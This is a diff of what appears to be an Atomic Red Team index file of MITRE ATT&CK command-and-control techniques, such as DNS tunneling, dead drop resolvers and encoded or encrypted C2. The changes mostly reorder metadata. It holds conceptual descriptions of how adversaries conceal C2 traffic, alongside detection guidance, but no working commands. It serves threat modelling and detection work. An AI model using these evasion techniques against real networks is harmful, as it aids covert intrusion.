-      id: attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      modified: '2020-10-21T16:35:45.986Z'
       name: Application Layer Protocol
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1071
+        external_id: T1071
+        source_name: mitre-attack
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '2.0'
+      created: '2017-05-31T21:30:56.776Z'
+      x_mitre_network_requirements: true
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6
       description: "Adversaries may communicate using application layer protocols
         to avoid detection/network filtering by blending in with existing traffic.
         Commands to the remote system, and often the results of those commands, will
@@ -70476,22 +72739,11 @@ command-and-control:
         transferring files, electronic mail, or DNS. For connections that occur internally
         within an enclave (such as those between a proxy or pivot node and other nodes),
         commonly used protocols are SMB, SSH, or RDP. "
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1071
-        url: https://attack.mitre.org/techniques/T1071
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_network_requirements: true
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: command-and-control
       x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
         sending significantly more data than it receives from a server). Processes
         utilizing the network that do not normally have network communication or have
@@ -70499,71 +72751,77 @@ command-and-control:
         layer protocols that do not follow the expected protocol standards regarding
         syntax, structure, or any other variable adversaries could leverage to conceal
         data.(Citation: University of Birmingham C2)'
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
-      x_mitre_version: '2.0'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1573.002:
     technique:
-      id: attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada
-      description: |-
-        Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.
-
-        For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).
-      name: Asymmetric Cryptography
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1573.002
-        url: https://attack.mitre.org/techniques/T1573/002
-      - url: http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840
-        description: Butler, M. (2013, November). Finding Hidden Threats by Decrypting
-          SSL. Retrieved April 5, 2016.
-        source_name: SANS Decrypting SSL
-      - url: https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html
-        description: Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved
-          April 5, 2016.
-        source_name: SEI SSL Inspection Risks
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: command-and-control
       modified: '2021-04-20T19:27:46.484Z'
+      name: Asymmetric Cryptography
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
       created: '2020-03-16T15:48:33.882Z'
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Content'
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada
+      description: |-
+        Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.
+
+        For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: command-and-control
       x_mitre_detection: |-
         SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)
 
         In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1573/002
+        external_id: T1573.002
+        source_name: mitre-attack
+      - source_name: SANS Decrypting SSL
+        description: Butler, M. (2013, November). Finding Hidden Threats by Decrypting
+          SSL. Retrieved April 5, 2016.
+        url: http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840
+      - source_name: SEI SSL Inspection Risks
+        description: Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved
+          April 5, 2016.
+        url: https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
     atomic_tests: []
   T1102.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1102.002
-        url: https://attack.mitre.org/techniques/T1102/002
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2020-03-26T23:15:47.861Z'
       name: Bidirectional Communication
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      - 'Network Traffic: Network Connection Creation'
+      x_mitre_version: '1.0'
+      created: '2020-03-14T22:34:03.024Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4
       description: "Adversaries may use an existing, legitimate external Web service
         as a means for sending commands to and receiving output from a compromised
         system over the Web service channel. Compromised systems may leverage popular
@@ -70579,17 +72837,11 @@ command-and-control:
         Using common services, such as those offered by Google or Twitter, makes it
         easier for adversaries to hide in expected noise. Web service providers commonly
         use SSL/TLS encryption, giving adversaries an added level of protection. "
-      id: attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4
-      type: attack-pattern
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      modified: '2020-03-26T23:15:47.861Z'
-      created: '2020-03-14T22:34:03.024Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: 'Host data that can relate unknown or suspicious process
         activity using a network connection is important to supplement any existing
         indicators of compromise based on malware command and control signatures and
@@ -70598,34 +72850,36 @@ command-and-control:
         for uncommon data flows (e.g., a client sending significantly more data than
         it receives from a server). User behavior monitoring may help to detect abnormal
         patterns of activity.(Citation: University of Birmingham C2)'
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
-      - 'Network Traffic: Network Connection Creation'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1102/002
+        external_id: T1102.002
+        source_name: mitre-attack
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
     atomic_tests: []
   T1043:
     technique:
-      created: '2017-05-31T21:30:42.657Z'
-      modified: '2020-07-06T17:54:28.071Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: command-and-control
       type: attack-pattern
-      revoked: false
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      modified: '2020-07-06T17:54:28.071Z'
+      name: Commonly Used Port
       external_references:
-      - source_name: mitre-attack
+      - url: https://attack.mitre.org/techniques/T1043
         external_id: T1043
-        url: https://attack.mitre.org/techniques/T1043
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
+        source_name: mitre-attack
+      - source_name: University of Birmingham C2
         description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
           & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
+      x_mitre_version: '1.0'
+      created: '2017-05-31T21:30:42.657Z'
+      x_mitre_deprecated: true
+      revoked: false
+      x_mitre_network_requirements: true
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e
       description: "**This technique has been deprecated. Please use [Non-Standard
         Port](https://attack.mitre.org/techniques/T1571) where appropriate.**\n\nAdversaries
         may communicate over a commonly used port to bypass firewalls or network detection
@@ -70636,29 +72890,42 @@ command-and-control:
         occur internally within an enclave (such as those between a proxy or pivot
         node and other nodes), examples of common ports are \n\n* TCP/UDP:135 (RPC)\n*
         TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)"
-      name: Commonly Used Port
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e
-      x_mitre_version: '1.0'
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: command-and-control
       x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
         sending significantly more data than it receives from a server). Processes
         utilizing the network that do not normally have network communication or have
         never been seen before are suspicious. Analyze packet contents to detect communications
         that do not follow the expected protocol behavior for the port that is being
         used. (Citation: University of Birmingham C2)'
-      x_mitre_network_requirements: true
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
-      x_mitre_is_subtechnique: false
-      x_mitre_deprecated: true
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1092:
     technique:
-      id: attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Communication Through Removable Media
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1092
+        external_id: T1092
+        source_name: mitre-attack
+      x_mitre_data_sources:
+      - 'Drive: Drive Creation'
+      - 'Drive: Drive Access'
+      x_mitre_version: '1.0'
+      modified: '2020-07-14T19:44:50.871Z'
+      created: '2017-05-31T21:31:09.379Z'
+      x_mitre_network_requirements: false
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef
       description: Adversaries can perform command and control between compromised
         hosts on potentially disconnected networks using removable media to transfer
         commands from system to system. Both systems would need to be compromised,
@@ -70667,54 +72934,38 @@ command-and-control:
         Media](https://attack.mitre.org/techniques/T1091). Commands and files would
         be relayed from the disconnected system to the Internet-connected system to
         which the adversary has direct access.
-      external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1092
-        external_id: T1092
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      modified: '2020-07-14T19:44:50.871Z'
-      created: '2017-05-31T21:31:09.379Z'
-      x_mitre_is_subtechnique: false
+      x_mitre_detection: Monitor file access on removable media. Detect processes
+        that execute when removable media is mounted.
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
-      x_mitre_network_requirements: false
-      x_mitre_detection: Monitor file access on removable media. Detect processes
-        that execute when removable media is mounted.
-      x_mitre_data_sources:
-      - 'Drive: Drive Creation'
-      - 'Drive: Drive Access'
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1071.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1071.004
-        url: https://attack.mitre.org/techniques/T1071/004
-      - source_name: PAN DNS Tunneling
-        url: https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling
-        description: Palo Alto Networks. (n.d.). What Is DNS Tunneling?. Retrieved
-          March 15, 2020.
-      - source_name: Medium DnsTunneling
-        url: https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000
-        description: Galobardes, R. (2018, October 30). Learn how easy is to bypass
-          firewalls using DNS tunneling (and also how to block it). Retrieved March
-          15, 2020.
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: DNS
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
+      modified: '2020-10-21T16:26:34.196Z'
+      created: '2020-03-15T16:27:31.768Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: command-and-control
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72
       description: "Adversaries may communicate using the Domain Name System (DNS)
         application layer protocol to avoid detection/network filtering by blending
         in with existing traffic. Commands to the remote system, and often the results
@@ -70726,28 +72977,30 @@ command-and-control:
         as DNS tunneling, adversaries may abuse DNS to communicate with systems under
         their control within a victim network while also mimicking normal, expected
         traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) "
-      id: attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: command-and-control
-      modified: '2020-10-21T16:26:34.196Z'
-      created: '2020-03-15T16:27:31.768Z'
       x_mitre_contributors:
       - Jan Petrov, Citi
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_detection: |-
         Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)
 
         Monitor for DNS traffic to/from known-bad or suspicious domains.
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Content'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1071/004
+        external_id: T1071.004
+        source_name: mitre-attack
+      - url: https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling
+        description: Palo Alto Networks. (n.d.). What Is DNS Tunneling?. Retrieved
+          March 15, 2020.
+        source_name: PAN DNS Tunneling
+      - url: https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000
+        description: Galobardes, R. (2018, October 30). Learn how easy is to bypass
+          firewalls using DNS tunneling (and also how to block it). Retrieved March
+          15, 2020.
+        source_name: Medium DnsTunneling
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
       identifier: T1071.004
     atomic_tests:
     - name: DNS Large Query Volume
@@ -70876,54 +73129,82 @@ command-and-control:
         name: powershell
   T1568.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1568.003
-        url: https://attack.mitre.org/techniques/T1568/003
-      - url: http://www.crowdstrike.com/blog/whois-numbered-panda/
-        description: Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved
-          January 14, 2016.
-        source_name: Meyers Numbered Panda
-      - url: https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html
-        description: Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September
-          3). Darwin’s Favorite APT Group &#91;Blog&#93;. Retrieved November 12, 2014.
-        source_name: Moran 2014
-      - source_name: Rapid7G20Espionage
-        description: Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage
-          Operations. Retrieved March 6, 2017.
-        url: https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: DNS Calculation
-      description: |-
-        Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)
-
-        One implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)
-      id: attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: command-and-control
-      modified: '2020-03-27T20:54:28.287Z'
-      created: '2020-03-11T14:56:34.154Z'
+      name: DNS Calculation
       x_mitre_data_sources:
       - 'Network Traffic: Network Traffic Content'
       x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_detection: Detection for this technique is difficult because it would
-        require knowledge of the specific implementation of the port calculation algorithm.
-        Detection may be possible by analyzing DNS records if the algorithm is known.
+      modified: '2020-03-27T20:54:28.287Z'
+      created: '2020-03-11T14:56:34.154Z'
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--83a766f8-1501-4b3a-a2de-2e2849e8dfc1
+      description: |-
+        Adversaries may perform calculations on addresses returned in DNS results to determine which port and IP address to use for command and control, rather than relying on a predetermined port number or the actual returned IP address. A IP and/or port number calculation can be used to bypass egress filtering on a C2 channel.(Citation: Meyers Numbered Panda)
+
+        One implementation of [DNS Calculation](https://attack.mitre.org/techniques/T1568/003) is to take the first three octets of an IP address in a DNS response and use those values to calculate the port for command and control traffic.(Citation: Meyers Numbered Panda)(Citation: Moran 2014)(Citation: Rapid7G20Espionage)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: command-and-control
+      x_mitre_detection: Detection for this technique is difficult because it would
+        require knowledge of the specific implementation of the port calculation algorithm.
+        Detection may be possible by analyzing DNS records if the algorithm is known.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1568/003
+        external_id: T1568.003
+        source_name: mitre-attack
+      - source_name: Meyers Numbered Panda
+        description: Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved
+          January 14, 2016.
+        url: http://www.crowdstrike.com/blog/whois-numbered-panda/
+      - source_name: Moran 2014
+        description: Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September
+          3). Darwin’s Favorite APT Group &#91;Blog&#93;. Retrieved November 12, 2014.
+        url: https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html
+      - url: https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/
+        description: Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage
+          Operations. Retrieved March 6, 2017.
+        source_name: Rapid7G20Espionage
     atomic_tests: []
   T1132:
     technique:
-      id: attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
+      modified: '2020-03-14T23:39:50.338Z'
       name: Data Encoding
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1132
+        external_id: T1132
+        source_name: mitre-attack
+      - source_name: Wikipedia Binary-to-text Encoding
+        description: Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved
+          March 1, 2017.
+        url: https://en.wikipedia.org/wiki/Binary-to-text_encoding
+      - source_name: Wikipedia Character Encoding
+        description: Wikipedia. (2017, February 19). Character Encoding. Retrieved
+          March 1, 2017.
+        url: https://en.wikipedia.org/wiki/Character_encoding
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.1'
+      created: '2017-05-31T21:31:43.540Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: command-and-control
+      x_mitre_permissions_required:
+      - User
+      x_mitre_network_requirements: true
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f
       description: 'Adversaries may encode data to make the content of command and
         control traffic more difficult to detect. Command and control (C2) information
         can be encoded using a standard data encoding system. Use of data encoding
@@ -70931,55 +73212,44 @@ command-and-control:
         Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation:
         Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding)
         Some data encoding systems may also result in data compression, such as gzip.'
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1132
-        url: https://attack.mitre.org/techniques/T1132
-      - url: https://en.wikipedia.org/wiki/Binary-to-text_encoding
-        description: Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved
-          March 1, 2017.
-        source_name: Wikipedia Binary-to-text Encoding
-      - url: https://en.wikipedia.org/wiki/Character_encoding
-        description: Wikipedia. (2017, February 19). Character Encoding. Retrieved
-          March 1, 2017.
-        source_name: Wikipedia Character Encoding
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: command-and-control
-      modified: '2020-03-14T23:39:50.338Z'
-      created: '2017-05-31T21:31:43.540Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_permissions_required:
-      - User
-      x_mitre_network_requirements: true
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Content'
+      x_mitre_contributors:
+      - Itzik Kotler, SafeBreach
       x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
         sending significantly more data than it receives from a server). Processes
         utilizing the network that do not normally have network communication or have
         never been seen before are suspicious. Analyze packet contents to detect communications
         that do not follow the expected protocol behavior for the port that is being
         used. (Citation: University of Birmingham C2)'
-      x_mitre_contributors:
-      - Itzik Kotler, SafeBreach
-      x_mitre_version: '1.1'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1001:
     technique:
-      id: attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Data Obfuscation
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1001
+        external_id: T1001
+        source_name: mitre-attack
+      - source_name: University of Birmingham C2
+        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
+          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
+        url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.1'
+      modified: '2020-03-15T00:40:27.670Z'
+      created: '2017-05-31T21:30:18.931Z'
+      x_mitre_network_requirements: true
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842
       description: 'Adversaries may obfuscate command and control traffic to make
         it more difficult to detect. Command and control (C2) communications are hidden
         (but not necessarily encrypted) in an attempt to make the content more difficult
@@ -70987,46 +73257,38 @@ command-and-control:
         hide commands from being seen. This encompasses many methods, such as adding
         junk data to protocol traffic, using steganography, or impersonating legitimate
         protocols. '
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1001
-        url: https://attack.mitre.org/techniques/T1001
-      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
-        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
-          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
-        source_name: University of Birmingham C2
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: command-and-control
-      modified: '2020-03-15T00:40:27.670Z'
-      created: '2017-05-31T21:30:18.931Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_network_requirements: true
       x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
         sending significantly more data than it receives from a server). Processes
         utilizing the network that do not normally have network communication or have
         never been seen before are suspicious. Analyze packet contents to detect communications
         that do not follow the expected protocol behavior for the port that is being
         used. (Citation: University of Birmingham C2)'
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Content'
-      x_mitre_version: '1.1'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
     atomic_tests: []
   T1102.001:
     technique:
-      created: '2020-03-14T22:24:21.841Z'
-      modified: '2020-03-26T23:12:30.499Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: command-and-control
       type: attack-pattern
+      modified: '2020-03-26T23:12:30.499Z'
+      name: Dead Drop Resolver
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
+      created: '2020-03-14T22:24:21.841Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Linux
